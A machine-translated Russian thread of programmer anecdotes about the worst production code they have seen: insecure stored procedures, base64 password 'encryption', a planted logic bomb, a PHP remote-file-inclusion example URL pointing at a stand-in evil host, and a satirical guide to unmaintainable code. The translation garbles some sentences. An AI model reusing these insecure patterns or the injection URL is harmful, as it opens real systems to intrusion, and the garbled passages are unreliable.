Каков самый код EVIL, который вы когда-либо видели в среде производственного предприятия?

Какой самый злой или опасный фрагмент кода вы когда-либо видели в производственной среде в компании? Я никогда не сталкивался с производственным кодом, который я считаю умышленно злым и злым, поэтому мне очень любопытно узнать, что нашли другие.

Самый опасный код, который я когда-либо видел, - это хранимая процедура с двумя связанными серверами от нашего основного сервера базы данных производства. Хранимая процедура приняла любой параметр NVARCHAR (8000) и выполнила параметр на целевом производственном сервере с помощью команды sp_executeSQL с двойным прыжком. То есть команда sp_executeSQL выполнила команду sp_executeSQL, чтобы перепрыгнуть два связанных сервера. О, и связанная учетная запись сервера имела права sysadmin на целевом производственном сервере.

Ответ 1

Предупреждение: длинный страшный пост впереди

Я написал об одном приложении, над которым я работал раньше здесь и здесь. Проще говоря, моя компания унаследовала 130 000 линий мусора из Индии. Приложение было написано на С#; это приложение для кассиров, те же самые специалисты по использованию программного обеспечения используют за прилавком всякий раз, когда вы отправляетесь в банк. Приложение разбилось на 40-50 раз в день, и оно просто не могло быть реорганизовано в рабочий код. Моя компания должна была переписать все приложение в течение 12 месяцев.

Почему это приложение зло? Потому что вид исходного кода был достаточным, чтобы привести здравомыслящего человека в безумный разум и безумного человека. Закрученная логика, используемая для написания этого приложения, могла быть вдохновлена ​​только кошмаром Лавкрафта. Уникальные возможности этого приложения включали:

  • Из 130 000 строк кода все приложение содержало 5 классов (исключая файлы форм). Все это были публичные статические классы. Один класс назывался Globals.cs, который содержал 1000 и 1000 и 1000 открытых публичных статических переменных, используемых для хранения всего состояния приложения. Эти пять классов содержали 20 000 строк кода, а оставшийся код был встроен в формы.

  • Вам нужно задаться вопросом, как программистам удалось написать такое большое приложение без каких-либо классов? Что они использовали для представления своих объектов данных? Оказывается, программистам удалось заново изобрести половину концепций, которые мы все узнали о ООП, просто объединив ArrayLists, HashTables и DataTables. Мы много чего видели:

    • ArrayLists хэш-таблиц
    • Hashtables со строковыми ключами и значениями DataRow
    • ArrayLists из DataTables
    • DataRows, содержащие ArrayLists, содержащие HashTables
    • ArrayLists of DataRows
    • ArrayLists of ArrayLists
    • HashTables со строковыми клавишами и значениями HashTable
    • ArrayLists of ArrayLists из хэш-таблиц
    • Каждая другая комбинация ArrayLists, HashTables, DataTables, о которой вы можете подумать.

    Имейте в виду, что ни одна из вышеперечисленных структур данных строго не типизирована, поэтому вам нужно отбросить любой объект загадки, который вы выберете из списка, до нужного типа. Удивительно, какие сложные структуры данных, подобные Рубе Голдбергу, можно создавать, используя только ArrayLists, HashTables и DataTables.

  • Чтобы поделиться примером использования модели объектов, подробно описанной выше, рассмотрите Учетные записи: исходный программист создал отдельный HashTable для каждого приемлемого свойства учетной записи: HashTable, называемый hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Ключами для всех этих хеш-таблиц были "|" разделенная строка. Возможные клавиши: "123456 | DDA", "24100 | SVG", "100 | LNS" и т.д.

  • Поскольку состояние всего приложения было легко доступно из глобальных переменных, программисты сочли ненужным передавать параметры методам. Я бы сказал, что 90% методов взяли 0 параметров. Из немногих, которые сделали, все параметры были переданы как строки для удобства, независимо от того, что представляет строка.

  • Свободных функций побочного эффекта не существовало. Каждый метод модифицировал 1 или более переменных в классе Globals. Не все побочные эффекты имели смысл; например, один из методов проверки формы имел таинственный побочный эффект расчета и коротких платежей по кредитам для любой учетной записи, хранящейся в Globals.lngAcctNum.

  • Несмотря на то, что было много форм, была одна форма, чтобы управлять ими всеми: frmMain.cs, которая содержала колоссальные 20 000 строк кода. Что сделал frmMain? Все. Он искал счета, печатал квитанции, раздавал наличные деньги, делал все.

    Иногда для вызова методов на frmMain иногда нужны другие формы. Вместо того, чтобы кодировать этот код из формы в отдельный класс, почему бы просто не вызвать код напрямую:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Чтобы найти учетные записи, программисты сделали что-то вроде этого:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    Как плохо, поскольку он уже создает невидимую форму для выполнения бизнес-логики, как вы думаете, что форма знала, на какую учетную запись искать? Это легко: форма могла получить доступ к Globals.lngAcctNum и Globals.strAcctType. (Кто не любит венгерскую нотацию?)

  • Повторное использование кода было синонимом для ctrl-c, ctrl-v. Я обнаружил, что методы из 200 строк копируются/вставляются через 20 форм.

  • В приложении была странная модель потоковой передачи, которую я хотел бы назвать моделью потоков и таймеров: каждая форма, которая породила поток, имела на нем таймер. Каждый поток, который был порожден, запускает таймер с задержкой 200 мс; как только таймер запустится, он проверит, установил ли поток какой-то магический логический, тогда он прервет поток. Полученное исключение ThreadAbortException было проглочено.

    Вы думаете, что только один раз увидите этот шаблон, но я нашел его как минимум в 10 разных местах.

  • Говоря о потоках, ключевое слово "lock" никогда не появлялось в приложении. Нитки управляют глобальным состоянием свободно без блокировки.

  • Каждый метод в приложении содержал блок try/catch. Каждое исключение регистрировалось и проглатывалось.

  • Кому нужно включить перечисления при включении строк так же просто!

  • Некоторые гении выяснили, что вы можете подключить несколько элементов управления формы к одному и тому же обработчику событий. Как программист справился с этим?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Тот же гений также открыл славный тернарный оператор. Вот несколько примеров кода:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Вот фрагмент кода, который демонстрирует типичное неправильное использование StringBuilder. Обратите внимание, как программист конкатцирует строку в цикле, а затем добавляет полученную строку в StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • В таблицах не было никаких первичных ключей, индексов или ограничений внешнего ключа, почти все поля были типа varchar (50), а 100% полей были обнуляемы. Интересно, что битовые поля не использовались для хранения логических данных; вместо этого использовалось поле char (1), а символы 'Y' и 'N' использовали для представления true и false соответственно.

    • Говоря о базе данных, здесь представлен типичный пример хранимой процедуры:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

Со всем сказанным, самая большая проблема с этим 130 000 линейным приложением: нет модульных тестов.

Да, я отправил эту историю в TheDailyWTF, а затем я оставил свою работу.

Ответ 2

Я видел функцию шифрования паролей, подобную этой

function EncryptPassword($password)
{
    return base64_encode($password);
}

Ответ 3

В системе, которая принимала платежи по кредитным картам, мы использовали для хранения полного номера кредитной карты вместе с именем, датой истечения срока и т.д.

Оказывается, это незаконно, иронично, учитывая, что мы писали программу для отдела юстиции в то время.

Ответ 4

Это была процедура обработки ошибок в куске коммерческого кода:

/* FIXME! */
while (TRUE)
    ;

Я должен был узнать, почему "приложение блокируется".

Ответ 5

Сочетание всех следующих функций Php "Возможности" сразу.

  • Регистрировать глобалы
  • Переменные переменные
  • Включение удаленных файлов и кода через include ( "http://..." );
  • Действительно ужасные имена массивов/переменных (пример литералов):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (Я буквально потратил час, пытаясь разобраться, как это работает, прежде чем я понял, что они wern't той же переменной)

  • Включить 50 файлов, каждая из которых включает 50 файлов, а материал выполняется линейно/процедурно по всем 50 файлам условным и непредсказуемым образом.

Для тех, кто не знает переменные переменные:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Теперь рассмотрим, что $x содержит значение из вашего URL-адреса (регистр globals magic), поэтому нигде в вашем коде не очевидно, какая переменная работает, потому что все это определяется URL-адресом.

Теперь рассмотрим, что происходит, когда содержимое этой переменной может быть URL-адресом, указанным пользователем веб-сайта. Да, это может не иметь смысла для вас, но создает переменную с именем url, т.е.

$http://google.com,

за исключением того, что он не может быть напрямую доступен, вы должны использовать его с помощью метода double $выше.

Кроме того, когда пользователь может указать переменную в URL-адресе, который указывает, какой файл включать, существуют неприятные трюки, такие как

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

и если эта переменная появляется в include($include)

и 'evilcode.php' печатает свой текстовый код кода, а Php некорректно защищен, php просто перейдет, загрузит evilcode.php и выполнит его как пользователь веб-сервера.

Веб-сервер предоставит ему все свои разрешения и т.д., разрешив вызовы оболочки, загрузив произвольные двоичные файлы и запустив их и т.д. и т.д., пока, в конце концов, вам не станет интересно, почему у вас есть пробел на диске, а один каталог имеет 8 ГБ пиратские фильмы с итальянским дубляжем, которые передаются через IRC через бота.

Я просто благодарен, что обнаружил, что зверство перед тем, как script запускает атаку, решил сделать что-то действительно опасное, например, собрать крайне конфиденциальную информацию из более или менее незащищенной базы данных: |

(я мог развлекать ежедневную ежедневную работу в течение 6 месяцев с помощью этой кодовой базы, я вас не обманываю. Просто стыдно, что я обнаружил, что каждый день после того, как я избежал этого кода)

Ответ 6

В главном файле заголовка проекта от старого программиста COBOL, который необъяснимо писал компилятор в C:

int i, j, k;

"Таким образом, вы не получите ошибку компилятора, если забыли объявить переменные цикла.

Ответ 7

Установщик Windows.

Ответ 8

В этой статье Как писать неподдающийся код код содержит некоторые из самых блестящих техник, известных человеку. Некоторые из моих любимых:


Новые способы использования имен для ребенка

Купите копию книги с именами детей, и вы никогда не будете в убытке для имен переменных. Фред - замечательное имя и легко печатается. Если вы ищете простые имена переменных, попробуйте adsf или aoeu, если вы наберете клавиатуру DSK.

Творческая мисс-орфография

Если вы должны использовать описательные имена переменных и функций, пропустите их. Путем опечатки в некоторых именах функций и переменных и правильном написании в других (например, SetPintleOpening SetPintalClosing) мы фактически отрицаем использование методов поиска grep или IDE. Он работает удивительно хорошо. Добавьте международный аромат с помощью орфографии или тори в разных театрах/театрах.

Быть абстрактным

В функциях и переменных именования сильно используйте абстрактные слова, такие как все, данные, дескриптор, материал, сделать, рутину, выполнить и цифры, например. regularX48, PerformDataFunction, DoIt, HandleStuff и do_args_method.

капитализация

Случайно заглавные буквы первой буквы слога в середине слова. Например, ComputeRasterHistoGram().

Нижний случай l выглядит так же, как цифра 1

Используйте нижний регистр l для обозначения длинных констант. например 10l, скорее всего, ошибочно принимается за 101, что 10L. Запретить любые шрифты, которые явно однозначно устраняют uvw wW gq9 2z 5s il17 |! J oO08 `'";; m nn rn {[()]}. Будьте креативны.

Переработка переменных

В тех случаях, когда разрешены правила области действия, повторно используйте существующие имена несвязанных переменных. Аналогичным образом, используйте одну и ту же временную переменную для двух несвязанных целей (подразумевая сохранение слотов стека). Для дьявольского варианта морфируйте переменную, например, присвойте значение переменной в верхней части очень длинного метода, а затем где-нибудь посередине, измените значение переменной тонким способом, например, преобразуя ее из координата на основе 0 для координаты на основе 1. Будьте уверены, чтобы не документировать это изменение в значении.

Cd wrttn wtht vwls s mch trsr

При использовании сокращений внутри переменных или имен методов разрывайте скуку с несколькими вариантами для одного и того же слова и даже произвольно произносите их в ручную. Это помогает победить тех ленивых бомжей, которые используют текстовый поиск, чтобы понять только некоторые аспекты вашей программы. Рассмотрите варианты написания в качестве варианта на уловке, например. смешивая международный цвет, с американским цветом и чуваком-говорите kulerz. Если вы полностью изложите имена, существует только один способ указать каждое имя. Это слишком просто для программиста по обслуживанию. Поскольку существует множество различных способов сокращения слова, с сокращениями, вы можете иметь несколько разных переменных, которые имеют одну и ту же очевидную цель. В качестве дополнительного бонуса программист по обслуживанию может даже не заметить, что они являются отдельными переменными.

Неясные ссылки на фильм

Используйте константные имена, такие как LancelotsFavouriteColour вместо синего, и присвойте ему шестнадцатеричное значение $0204FB. Цвет выглядит идентично голубым на экране, а программисту по обслуживанию придется выработать 0204FB (или использовать какой-либо графический инструмент), чтобы узнать, как он выглядит. Только кто-то, знакомый с Монти Питоном и Святым Граалем, знал бы, что любимый цвет Ланселота был синим. Если программист по обслуживанию не может процитировать все фильмы Monty Python из памяти, он или она не занимаются программированием.

Документируйте очевидное

Перепишите код с комментариями, например /* добавьте 1 в я */, но никогда не документируйте шерстяные вещи, как общая цель пакета или метода.

Документ How Not Why

Документируйте только детали того, что делает программа, а не то, что она пытается выполнить. Таким образом, если есть ошибка, фиксатор не будет знать, что должен делать код.

Побочные эффекты

В C функции должны быть идемпотентными (без побочных эффектов). Надеюсь, что намека достаточно.

Использовать Octal

Контрабандируйте восьмеричные литералы в список десятичных чисел следующим образом:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Расширенный ASCII

Расширенные символы ASCII отлично действуют как имена переменных, включая символы ß, ì и ñ. Их практически невозможно напечатать без копирования/вставки в простой текстовый редактор.

Имена с других языков

Используйте словари иностранного языка в качестве источника имен переменных. Например, используйте немецкий пункт для точки. Кодеры обслуживания, без вашего твердого владения немецким языком, получат многокультурный опыт по расшифровке значения.

Имена из математики

Выберите имена переменных, которые маскируются как математические операторы, например:

openParen = (slash + asterix) / equals;

Кодекс, который маскарады как комментарии и наоборот

Включить разделы кода, который закомментирован, но на первый взгляд не выглядит.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Без цветового кодирования вы заметите, что три строки кода закомментированы?

Произвольные имена, которые маскируются как ключевые слова

При документировании, и вам нужно произвольное имя для представления имени файла, используйте "файл". Никогда не используйте явно произвольное имя, например "Charlie.dat" или "Frodo.txt". В общем, в ваших примерах используйте произвольные имена, которые по возможности напоминают зарезервированные ключевые слова. Например, хорошими именами параметров или переменных будут "банк", "пустой", "класс", "константа", "постоянный", "enter", "ключ", "ключевое слово", "вид", "параметр" "парм", "система", "тип", "значение", "переменная" и "переменная". Если вы используете фактические зарезервированные слова для своих произвольных имен, которые будут отклонены вашим командным процессором или компилятором, тем лучше. Если вы сделаете это хорошо, пользователи будут безнадежно путаться между зарезервированными ключевыми словами и произвольными именами в вашем примере, но вы можете выглядеть невинно, утверждая, что вы сделали это, чтобы помочь им связать соответствующую цель с каждой переменной.

Имена кодов не должны совпадать с именами экранов

Выберите имена переменных, которые не имеют абсолютно никакого отношения к меткам, используемым, когда такие переменные отображаются на экране. Например. на ярлыке экрана поле "Почтовый код", но в кодовом вызове соответствующая переменная "zip".

Выбор лучшего оператора перегрузки

В С++ перегружать +, -, *,/делать вещи, совершенно не связанные с добавлением, вычитанием и т.д. В конце концов, если Stroustroup может использовать оператор shift для выполнения ввода-вывода, почему вы не должны быть одинаково креативными? Если вы перегрузите +, убедитесь, что вы делаете это так, чтобы я = я + 5; имеет совершенно иное значение от я + = 5; Вот пример повышения перегруженности оператором перегрузки до высокого уровня. Перегрузите '!' оператора для класса, но перегрузка не имеет ничего общего с инвертированием или отрицанием. Заставьте его вернуть целое число. Затем, чтобы получить для него логическое значение, вы должны использовать '!! ". Однако это инвертирует логику, поэтому [барабанный ролл] вы должны использовать '!!!". Не путайте! оператор, который возвращает логическое 0 или 1, с оператором побитового логического отрицания.

Исключения

Я собираюсь впустить вас в малоизвестный секрет кодирования. Исключения - боль взади. Правильно написанный код никогда не прерывается, поэтому исключения на самом деле не нужны. Не тратьте на них время. Исключения для подкласса предназначены для некомпетентных, которые знают, что их код не удастся. Вы можете значительно упростить свою программу, имея только один try/catch во всем приложении (в основном), который вызывает System.exit(). Просто придерживайтесь абсолютно стандартного набора бросков на каждом заголовке метода, могут ли они фактически выбросить какие-либо исключения или нет.

Магические расположения макетов

Используйте специальные значения в определенных ячейках матрицы в качестве флагов. Хорошим выбором является элемент [3] [0] в матрице преобразования, используемой с однородной системой координат.

Магические игровые автоматы повторно просмотрены

Если вам нужны несколько переменных данного типа, просто определите их массив, а затем получите доступ к ним по номеру. Выберите соглашение о нумерации, которое вы знаете и не документируете. И не мешайте определять константы #define для индексов. Все должны знать, что виджет глобальной переменной [15] - кнопка отмены. Это просто обновленный вариант использования абсолютных числовых адресов в коде ассемблера.

Никогда не украшать

Никогда не используйте оптимизированный исходный код (декоратор), чтобы поддерживать выравнивание кода. Лобби, чтобы они заблокировали их из вашей компании на том основании, что они создают ложные дельта в PVCS/CVS (отслеживание контроля версий) или что каждый программист должен иметь свой собственный отступы, который навсегда останется священным для любого модуля, который он написал. Настаивайте на том, чтобы другие программисты наблюдали эти идиосинкразические соглашения в "своих" модулях. Запрет на декорирование довольно прост, несмотря на то, что он экономит миллионы нажатий клавиш, делая ручное выравнивание, а дни теряют неправильное толкование плохо выровненного кода. Просто настаивайте на том, чтобы все использовали один и тот же формат, а не только для хранения в общем репозитории, но также и при редактировании. Это начинает RWAR и босс, чтобы сохранить мир, запретит автоматическую уборку. Без автоматизированного утилит вы теперь можете случайно смещать код, чтобы дать оптическую иллюзию, что тела циклов и ifs длиннее или короче, чем они есть на самом деле, или что другие предложения соответствуют другим, если они действительно это делают. например.

if(a)
  if(b) x=y;
else x=z;

Тестирование для трусов

Храбрый кодер обойдет этот шаг. Слишком много программистов боятся своего босса, боятся потерять работу, боятся ненавидеть почту и боятся быть поданными в суд. Этот страх парализует действие и снижает производительность. Исследования показали, что устранение фазы тестирования означает, что менеджеры могут заранее установить даты доставки, что является очевидной помощью в процессе планирования. Со страхом уйдут, инновации и эксперименты могут расцвести. Роль программиста заключается в том, чтобы создавать код, а отладка может быть выполнена совместными усилиями со стороны службы поддержки и старой группы обслуживания.

Если мы полностью доверяем нашей способности кодирования, то тестирование будет ненужным. Если мы посмотрим на это логически, то любой дурак может признать, что тестирование даже не пытается решить техническую проблему, скорее это проблема эмоциональной уверенности. Более эффективное решение этой проблемы недоверия заключается в том, чтобы полностью устранить тестирование и отправить наших программистов на курсы самооценки. В конце концов, если мы решили провести тестирование, мы должны протестировать каждую смену программы, но нам нужно только отправить программистов на один курс по построению самооценки. Экономическая выгода столь же удивительна, насколько это очевидно.

Отменить обычную истинную ложную конвенцию

Отмените обычные определения true и false. Звучит очень очевидно, но отлично работает. Вы можете скрыть:

#define TRUE 0 
#define FALSE 1

где-то глубоко в коде, чтобы он был извлечен из недр программы из какого-то файла, о котором никто больше не смотрит. Затем заставьте программу выполнять сравнения, например:

if ( var == TRUE )
if ( var != FALSE )

кто-то обязан "исправлять" явное избыточность и использовать var в другом месте обычным способом:

if ( var )

Другая методика заключается в том, чтобы ИСТИНА и ЛОЖЬ имели одинаковое значение, хотя большинство из них подумало об этом и обманом. Использование значений 1 и 2 или -1 и 0 - более тонкий способ отключить людей и по-прежнему выглядеть респектабельным. Вы можете использовать эту же методику в Java, задав статическую константу TRUE. Программисты могут быть более подозрительными, так как в Java есть встроенный литерал true.

Использовать шизофрению

Java шизофреник о объявлениях массива. Вы можете сделать их старым C, способом String x [], (который использует смешанную пред-постфиксную нотацию) или новым способом String [] x, который использует чистую префиксную нотацию. Если вы хотите действительно запутать людей, смешайте нотацию.

byte[ ] rowvector, colvector , matrix[ ];

что эквивалентно:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;
byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

Ответ 9

Я не знаю, буду ли я называть код "злым", но у нас был разработчик, который создавал бы массивы Object[] вместо написания классов. Везде.

Ответ 10

Я видел (и отправил на адрес dailywtf) код, который даст каждому право администратора в значительной части приложения по вторникам. Я предполагаю, что первоначальный разработчик забыл удалить код после локального тестирования машины.

Ответ 11

Я не знаю, так ли это "зло", как ошибочное (я недавно разместил его на "Старой новой вещи" ):

Я знал одного парня, который любил хранить информацию в виде строк с разделителями. Он был знаком с концепцией массивов, как показано, когда он использовал массивы ограниченных строк, но лампочка никогда не загорелась.

Ответ 12

Базовая кодировка 36 для хранения int в строках.

Я полагаю, что теория несколько идет по строкам:

  • Шестнадцатеричный используется для представления чисел
  • Hexadecimal не использует буквы за пределами F, то есть G-Z теряется
  • Отходы плохие.

В настоящий момент я работаю с базой данных, которая хранит дни недели, когда событие может происходить как 7-битное битовое поле (0-127), хранящееся в базе данных в виде 2-символьной строки от '0' - '3J'.

Ответ 13

Я помню, что видел обработчик входа, который отправил почтовый запрос, и перенаправил его в GET с именем пользователя и паролем, переданными как параметры. Это было для медицинской системы "корпоративного класса".

Я заметил это при проверке некоторых журналов - я очень искушался отправить генеральному директору его пароль.

Ответ 14

Действительно злой был этот кусочек блестящего кода дельфинов:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Он отлично работал, если был только один экземпляр класса. Но, к сожалению, мне пришлось использовать другой экземпляр, и это создало массу интересных ошибок.

Когда я нашел этот драгоценный камень, я не могу вспомнить, упал ли я в обморок или закричал, возможно, оба.

Ответ 15

Возможно, не зло, а, конечно, скорее, гм... ошибочно.

Мне когда-то пришлось переписать "парсер естественного языка", который был реализован как одна строка 5000, если... then statement.

как в...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

Ответ 16

Я видел код на веб-сайте ASP.NET MVC у парня, который раньше делал веб-формы (и является известным копиром/пастером!), который запустил событие click на стороне клиента на теге <a>, который назывался javascript метод, который сделал document.location.

Я попытался объяснить, что a href в теге <a> сделает то же самое!!!

Ответ 17

Немного зла... кто-то, кого я знаю, написал в основное внутреннее веб-приложение компании, ежедневный чек, чтобы узнать, зашел ли он в систему за последние 10 дней. Если нет записи о его регистрации, он отключает приложение для всех в компании.

Он написал пьесу, когда услышал слухи об увольнениях, и если он уйдет, компании придется страдать.

Единственная причина, по которой я знал об этом, это то, что он взял отпуск на две недели, и я позвонил ему, когда сайт исчез. Он сказал мне войти в систему со своим именем пользователя/паролем... и все было в порядке.

Конечно, через несколько месяцев нас всех уволили.

Ответ 18

Мой коллега любит вспоминать, что приложение ASP.NET, использующее соединение базы данных public static для всей базы данных, работает.

Да, одно соединение для всех запросов. И нет, также не было блокировки.

Ответ 19

Я помню, что мне пришлось настроить IIS 3 для запуска скриптов Perl CGI (да, это было давно). Официальной рекомендацией в то время было поставить Perl.exe в cgi-bin. Это сработало, но оно также предоставило каждому доступ к довольно мощному скриптовому движку!

Ответ 20

Любая RFC 3514 - совместимая программа, которая устанавливает бит зла.

Ответ 21

У нас было приложение, которое загрузило все это глобальное состояние в XML файл. Нет проблем с этим, за исключением того, что разработчик создал новую форму рекурсии.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Затем приходит интересная часть. Когда приложение загружается, оно проходит через список свойств и добавляет их в глобальный (плоский) список, а также увеличивает счетчик тайны. Тайный счетчик называется чем-то совершенно неуместным и используется в тайных расчетах:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

